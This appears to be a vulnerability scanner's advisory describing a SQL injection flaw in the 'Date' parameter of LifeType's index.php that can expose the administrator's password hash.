Description

The remote host is running LifeType, an open source blogging platform written in PHP.

The version of LifeType installed on the remote host fails to sanitize user-supplied input to the 'Date' parameter of the 'index.php' script before using it to construct database queries. Regardless of PHP's 'magic_quotes_gpc' setting, an unauthenticated attacker can exploit this flaw to manipulate database queries and, for example, recover the administrator's password hash.
